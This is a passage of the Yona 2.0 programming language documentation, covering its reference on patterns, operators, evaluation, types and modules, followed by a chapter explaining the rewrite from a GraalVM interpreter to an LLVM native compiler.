String in readFile "data.txt" # non-blocking; auto-awaited at use ``` `extern name : Type in body` declares an external C symbol with a Yona type; the linker resolves it. Type mapping: `Int` ↔ `i64`, `Float` ↔ `double`, `Bool` ↔ `i1`, `String` ↔ `char*`. Curried annotation `A -> B -> C` denotes a two-argument C function returning `C`. The `async` modifier submits the call to the runtime's thread pool and yields a promise, awaited transparently at use sites (§6.2). ## 4. Patterns | Pattern | Example | Matches | |---------|---------|---------| | Literal | `42`, `"hi"`, `:ok`, `true` | that exact value | | Variable | `x` | anything; binds `x` | | Wildcard | `_` | anything; binds nothing | | Tuple | `(a, _, c)` | tuples of that arity | | Sequence | `[]`, `[x]`, `[a, b]` | sequences of that exact length | | Head–tail | `[h \| t]`, `[a, b \| rest]` | non-empty sequences; `t`/`rest` bind the remainder | | Constructor | `Some x`, `Rect w h` | values built by that constructor | | Record | `Person{name: n}` | matches named fields; others ignored | | Dictionary | `{"key": v}` | dictionaries containing the key | | As-binding | `[h \| t] as whole` | matches the inner pattern and binds the whole value | | Or-pattern | `:a \| :b -> …` | either alternative; both must bind the same names | | Guard | `n if n > 0 -> …` | pattern matches *and* guard is true | Patterns appear in `case` clauses, function parameters, `let` bindings, and `catch` clauses. Matching is left-to-right, top-to-bottom, with no backtracking within a clause. ## 5. Operators Precedence, highest to lowest; all binary operators are left-associative except `**`, `::`, and the arrows: | Level | Operators | Meaning | |-------|-----------|---------| | 1 | `.` | field access | | 2 | juxtaposition | function application | | 3 | `**` | power | | 4 | `!` `~` unary `-` | logical not, bitwise not, negation | | 5 | `*` `/` `%` | multiplicative | | 6 | `+` `-` | additive | | 7 | `<<` `>>` `>>>` | shifts | | 8 | `++` | concatenation (sequences, strings) | | 9 | `::` | cons (prepend) | | 10 | `<` `>` `<=` `>=` | comparison | | 11 | `==` `!=` | equality | | 12 | `&` | bitwise and | | 13 | `^` | bitwise xor | | 14 | `\|` | bitwise or | | 15 | `&&` | logical and (short-circuit) | | 16 | `\|\|` | logical or (short-circuit) | | 17 | `\|>` `<\|` | pipes | Sequence-specific operators: `x :: xs` prepends and `xs ++ ys` concatenates. The lexer reserves `:>` (append), `--` (remove), and `in` (membership) as operator tokens, but the current compiler does not accept them in expressions — use `xs ++ [x]`, `Std\List.filter`, and `Std\List.contains` (or `Std\Set.contains`) instead. ## 6. Evaluation model ### 6.1 Strictness Yona is strictly evaluated: arguments are evaluated before application, and bindings before their bodies — with the single systematic exception of asynchronous values (§6.2). There is no lazy evaluation; laziness is expressed explicitly with thunks (`\-> e`) or `Iterator`/`Std\Stream` pipelines. ### 6.2 Transparent asynchrony Functions that perform I/O (and `extern async` functions) return a **promise** internally. The type system tracks promises invisibly: when a promise appears where its underlying value is required — as an operator operand, function argument, or condition — the compiler inserts an await coercion. Users never write `async` or `await`, and no function is "colored". Because `let` bindings without mutual dependencies have no defined order, independent asynchronous bindings are **submitted before any is awaited**: ```yona let a = readFile "foo.txt", # submitted b = readFile "bar.txt" # submitted in a ++ b # both awaited here; elapsed ≈ max, not sum ``` *Implementation note.* On Linux, file and network I/O submit to io_uring; CPU-bound async work runs on a work-stealing thread pool. Buffers passed to in-flight kernel operations are pinned. See [Concurrency in depth](/guides/concurrency/). ### 6.3 Parallel generators `[| f x for x = xs ]` evaluates `f` over the elements concurrently on the thread pool and preserves order in the result. ### 6.4 Memory Values are managed by **atomic reference counting** with recursive destructors; there is no tracing garbage collector and no stop-the-world pause. The compiler applies Perceus-style ownership transfer (callee-owns calling convention), uniqueness-based in-place mutation for uniquely owned values, and escape analysis that arena-allocates values proven not to escape. See [Memory and linearity](/guides/memory/). ## 7. Types ### 7.1 Inference The type system is Hindley–Milner: every expression has a principal type, inferred without annotations. Optional annotations (`name : Type` preceding a definition) are checked, not trusted. Polymorphic functions are compiled by monomorphization — one native instantiation per concrete type used. ### 7.2 Algebraic data types ```yona type Option a = Some a | None type Result a e = Ok a | Err e type Tree a = Leaf | Node (Tree a) a (Tree a) type Lazy a = Cons a (() -> Lazy a) | Empty # function-typed field type Person = Person { name : String, age : Int } # named fields ``` Constructors are first-class functions. Named-field types support dot access, record patterns, and functional update: ```yona let p = Person { name = "Ada", age = 36 } in (p.name, p { age = 37 }) ``` *Implementation note.* Non-recursive ADTs compile to flat `{tag, payload}` structs; recursive ADTs and ADTs with function-typed fields are heap-allocated. ### 7.3 Traits Stable ```yona trait Eq a eq : a -> a -> Bool neq : a -> a -> Bool neq x y = if eq x y then false else true # default method end instance Show a => Show (Option a) show opt = case opt of Some x -> "Some(" ++ show x ++ ")" None -> "None" end end trait Eq a => Ord a # superclass constraint compare : a -> a -> Int end ``` Traits are type classes resolved **statically**: each call site compiles the concrete instance directly (monomorphization), with no runtime dispatch cost. Instances are always public; `export trait Name` exports a declaration. See [Traits](/guides/traits/). ### 7.4 Effect rows Partial Function arrows carry the set of effect operations the function may perform: `a -> !{State.get} Int`. Rows are inferred, unioned at application, subtracted by `handle`, propagated through `.yonai` interfaces, and kept open (`!{|r}`) on higher-order parameters. §3.10 lists current limitations. ### 7.5 Linear types Partial `Linear a` marks values that must be consumed **exactly once**: file handles, sockets, process handles, channel endpoints. The linearity checker rejects duplication and silent dropping; `with` is the idiomatic consumer. `@borrow` marks parameters that use a linear value without consuming it. See [Memory and linearity](/guides/memory/). ### 7.6 Row-polymorphic records Stable Record types unify by row: a function using `r.name` accepts any record containing a `name` field of the right type, and the residual row is polymorphic. ## 8. Modules ```yona module Data\Geometry export area, perimeter export type Shape type Shape = Circle Float | Rect Float Float area s = case s of Circle r -> 3.141592653589793 * r * r Rect w h -> w * h end perimeter s = case s of Circle r -> 2.0 * 3.141592653589793 * r Rect w h -> 2.0 * (w + h) end ``` A module is a **top-level declaration** — not an expression — and extends to end of file. `export` statements name exported functions; `export type T` exports a type with all its constructors; `export f from Other\Module` re-exports. Module names are backslash-separated paths (`Std\List`). Imports are expressions: ```yona import map, filter from Std\List in … # selective import length as len from Std\String in … # aliased import Std\Math in … # whole module Std\List::map (\x -> x + 1) [1, 2, 3] # fully qualified, no import ``` *Implementation note.* A module compiles to a native object file with C-ABI exports (mangled `yona_Pkg_Mod__func`) and a `.yonai` **interface file** carrying types, effect rows, linearity, and — for generic functions — the source text itself (`GENFN`), so a caller with new concrete types can re-monomorphize the function locally. `yonac -I path` adds interface search paths. See [Modules and interfaces](/guides/modules-interfaces/). ## 9. Conformance and diagnostics Compiler diagnostics carry stable codes (`E0100`-style, `W…` for warnings). `yonac --explain E0202` prints the full explanation for a code. The [error code index](/reference/error-codes/) lists user-facing codes and their meanings. --- # Why Yona 2.0 Source: https://yona-lang.org/why-yona-2/ Yona 2.0 is a ground-up reimplementation of the Yona language: a native, ahead-of-time compiler built on LLVM, with a static type system. It replaces the original GraalVM-hosted interpreter. This chapter explains the decision honestly — what the first design got right, why its foundation stopped fitting, and what changed. ## What Yona 1.x was Yona began in 2018 as a dynamically typed, strict functional language for the GraalVM: minimal ML-like syntax, few expression forms, and one founding idea — **transparent concurrency**. Programs never mentioned promises or callbacks; the runtime analyzed `let` expressions, batched independent bindings, and ran them in parallel over non-blocking I/O. Persistent sequences, dictionaries, and sets were built in, with full pattern-matching support. Hosting on GraalVM/Truffle was a sound bet at the time. A small team got a world-class JIT, garbage collection, and polyglot interoperability with Java and JavaScript without writing a compiler backend from scratch. Yona 0.8.x shipped, worked, and found its voice. The [GraalVM implementation](https://github.com/yona-lang/yona) remains available in that form, and its original documentation is preserved at [yona-lang.github.io](https://yona-lang.github.io/). ## Why GraalVM stopped fitting Five pressures accumulated, and each pointed away from the JVM. **API instability.** Truffle and the Graal compiler interfaces moved fast and broke often. For a large language team that churn is absorbable; for a small language it converted every GraalVM upgrade into a rewrite tax, paid out of the budget that should have gone to the language itself. Yona's interfaces to its own users were stable; its foundation was not. **The JVM as product surface.** Installing Yona 1.x meant installing GraalVM, adding a component JAR with `gu`, and accepting JVM startup time and memory floors. A language whose pitch is simplicity cannot require a virtual machine distribution as a prerequisite. Yona 2.0 installs with `dnf install yona`, `apt install yona`, `brew install akovari/tap/yona`, or a Windows MSI — and compiles programs to self-contained native executables. **The dynamic ceiling.** Yona 1.x was proudly dynamic, and honest about the consequences: ADTs were conventions over tuples and symbols, there was no exhaustiveness checking, and what other languages solve with type classes had to be solved "by convention of sorts". That ceiling was fine for scripts and increasingly wrong for the systems Yona wanted to serve — and it made machine-generated code impossible to verify beyond "it parses". **The performance model.** A tracing JIT accelerates hot interpreter loops; it does not give you native binaries, predictable ahead-of-time performance, deterministic memory behavior, or a path to lowering array pipelines onto a GPU. LLVM gives all four. **Polyglot cost versus value.** GraalVM's headline feature — calling Java and JavaScript from Yona — was rarely the reason anyone chose the language. It was paid for continuously and used occasionally. Yona 2.0 replaces it with a plain C FFI (`extern` declarations), which is smaller, stable, and sufficient. ## What 2.0 keeps The rewrite preserved everything that made Yona feel like Yona: - **The syntax.** Juxtaposition application, few expression forms (`let`, `do`, `case`, `if`, `with`, `try`/`catch` + `raise`, `import`, `module`), significant newlines, no boilerplate. - **Transparent concurrency.** Independent `let` bindings still parallelize automatically; `do` still sequences; `with` still scopes resources. The machinery underneath is now io_uring and a work-stealing thread pool instead of Truffle promises — the programming model is unchanged. - **Persistent data structures.** Sequences, dictionaries, and sets with structural sharing, now implemented as radix-balanced tries and HAMTs in native code. - **Pattern matching everywhere**, including head-tail decomposition, or-patterns, guards, and `as` bindings. ## What 2.0 adds **A native pipeline.** Source → typed AST → LLVM IR → machine code. Common benchmarks land within 1–2× of C; collection pipelines are stream-fused into single loops. See [Performance](/guides/performance/) for methodology and numbers. **A static type system.** Hindley–Milner inference means programs are fully typed with almost no annotations. On top of inference: algebraic data types with exhaustive matching, traits (type classes) resolved by monomorphization, record-row polymorphism, and **effect rows** — a function's arrow carries the effects it may perform (`Int -> !{State.get} Int`), checked at call sites. Linear types track resources such as file handles, sockets, and channel endpoints, so leaking one is a compile error. Some of this is complete, some is honestly partial; every feature page carries a status badge, and [The type system](/guides/type-system/) states precisely what is checked today. **Memory management that matches the runtime.** Atomic reference counting with Perceus-style ownership transfer, uniqueness-based in-place updates, and escape analysis for arena allocation — no garbage collector, no pauses, no JVM heap. **Distribution.** Copr, PPA, AUR, Homebrew, Windows MSI. One binary compiler (`yonac`), one REPL (`yona`), no VM. **Accelerators.** `Std\GPU` executes columnar map/filter/reduce pipelines on Vulkan compute queues, and the compiler can lower ordinary `IntArray` / `FloatArray` pipelines to it transparently. This was structurally impossible on the old stack. See [Accelerators](/guides/accelerators/). ## What was left behind Honesty requires the other list. Yona 2.0 does **not** carry over: - **GraalVM polyglot interop.** Calling Java or JavaScript is gone; the FFI is C (`extern` declarations). - **Software transactional memory.** STM was a 1.x flagship module. It is on the 2.0 backlog, not in the language today. - **First-class module values.** In 1.x, modules were runtime values you could create dynamically. In 2.0, modules are compile-time units with `.yonai` interface files that enable separate compilation and cross-module generics. This is a real semantic break, traded for static checking and native linking. ## Who Yona 2.0 is for Yona 2.0 is for people who want a small functional language that compiles, types, and runs like systems software: no async/await ceremony, no VM, no garbage collector — and for a world in which much code is written by machines, a compiler strict enough to keep that code honest. Continue with the [quick start](/learn/quick-start/), or read how the [concurrency model](/learn/concurrency/) works.